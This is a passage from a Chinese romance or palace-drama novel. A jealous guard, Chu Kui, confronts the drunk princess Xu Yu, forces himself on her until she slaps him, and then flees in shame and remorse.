邰玉轩身体僵硬了一瞬,随即小心翼翼地回抱住她,像是拥抱着世间最珍贵的宝物。 两人在满城灯火之上静静相拥,无需再多言语,彼此的心意已然明了。 而这一幕,恰好被隐在楼下阴影中的褚奎尽收眼底。 他死死攥紧了拳头,指甲深深嵌入掌心,眼中翻涌着痛苦、嫉妒和疯狂的暗潮。 …… 邰玉轩将胥毓安然送回公主府时,她已醉得有些迷糊了,芳吟和玉蝉连忙上前伺候她梳洗歇下。 待收拾妥当,婢女退下,胥毓正准备吹熄烛火就寝,一道黑影却悄无声息地出现在她的床前。 胥毓吓了一跳,定睛一看竟是褚奎,才按捺下惊呼:“褚奎?你怎么在这儿?有事?” 她揉了揉额角,酒意未散,带着些许慵懒。 褚奎站在阴影里,眼神幽深得可怕,他紧紧盯着胥毓,声音低哑得几乎破碎:“公主……您以前说过的话,可还作数?” “什么话?”胥毓一时没反应过来。 “您说,若他日登临帝位,身边会有很多位置……您说,属下的面容,您也满意……”褚奎艰难地开口,“属下……属下可以接受!接受您有邰玉轩,有其他人……都可以!只要……只要您身边,能有属下一席之地……” 喝醉了的的明明是胥毓,但醉糊涂了的,却更像是褚奎。 胥毓愣了片刻,才想起这似乎是之前某次玩笑时说的话。 她失笑摇头,带着醉意摆摆手:“褚奎,你糊涂了?那是玩笑话,当不得真。我从未认真想过,那些……三宫六院什么的,太遥远了。” “那邰玉轩呢?!”褚奎猛地踏前一步,情绪激动起来,“您对他也是玩笑吗?您允他拥抱,赠他匕首!那又是什么?” 胥毓被他逼问得有些恼意,蹙眉道:“我和邰玉轩……不是你想的那样,我们也不可能在一起。” 身份、时局、各自的责任……横亘在他们之间的东西太多。 “那不是因为不喜欢,对不对?”褚奎眼睛赤红,像是绝望的困兽,“公主,您告诉我,您爱他吗?” 胥毓被问得心烦意乱,酒精让她难以保持平时的冷静,于是脱口便道:“爱?爱不爱有什么用?重要的是现实!” 这话听在褚奎耳中,却成了默认。 于是巨大的不甘和嫉妒瞬间吞噬了他所有的理智。 他突然单膝跪倒在胥毓床前,仰头看着她,眼中是近乎卑微的乞求和不顾一切的疯狂:“那属下呢?公主,您看看我,我不求名分,不求独占,只求您……只求您也给我一点点,像对邰玉轩那样的,一点点真心……哪怕……只是怜悯!” 他猛地抓住胥毓的手,力道大得让她吃痛:“就像……就像那次在树下,您和他……公主,求您,也那样……亲亲我……好不好?就一下……” 胥毓被他这突如其来的举动和言语惊得酒醒了大半,她用力想抽回手,又惊又怒:“褚奎!你放肆!放开我!你知不知道你在说什么浑话!” 此时的褚奎已被嫉妒冲昏了头脑,见胥毓拒绝,竟猛地起身,将她重重压倒在床榻之上,男性的气息和失控的力量瞬间笼罩了胥毓。 “褚奎!”胥毓彻底惊醒,骇然之下,用尽全身力气,抬手狠狠扇了他一耳光! 清脆的巴掌声在寂静的房间里格外刺耳。 褚奎被打得偏过头去,脸上瞬间浮现出清晰的指印。 这一巴掌仿佛也打醒了他,他猛地僵住,看着身下胥毓惊怒交加、泛着泪光的眼眸,如同被一盆冰水从头浇下。 他瞬间松开了手,踉跄着后退几步,脸上血色尽褪,只剩下恐慌和悔恨:“公主……属下罪该万死!属下……” 他语无伦次,扑通一声跪倒在地,重重磕了个头,随即像是无法再面对胥毓,猛地起身,狼狈不堪地转身跃出窗外,消失在夜色中。 胥毓惊魂未定地坐起身,心脏狂跳,看着洞开的窗户,气得浑身发抖,却又夹杂着一丝后怕和复杂的情绪。 而仓皇逃离公主府的褚奎,脸上火辣辣的疼痛却远不及心中的悔恨与绝望。 夜风吹过,他恍惚间抬手抚上脸颊,那清晰的痛楚中,萦绕不散的,竟是胥毓抬手挥来时,袖间掠过的、那一缕极淡却令他魂牵梦萦的冷香。 这香气,如同毒药,刻入骨髓,让他更加痛苦,却也更加沉迷……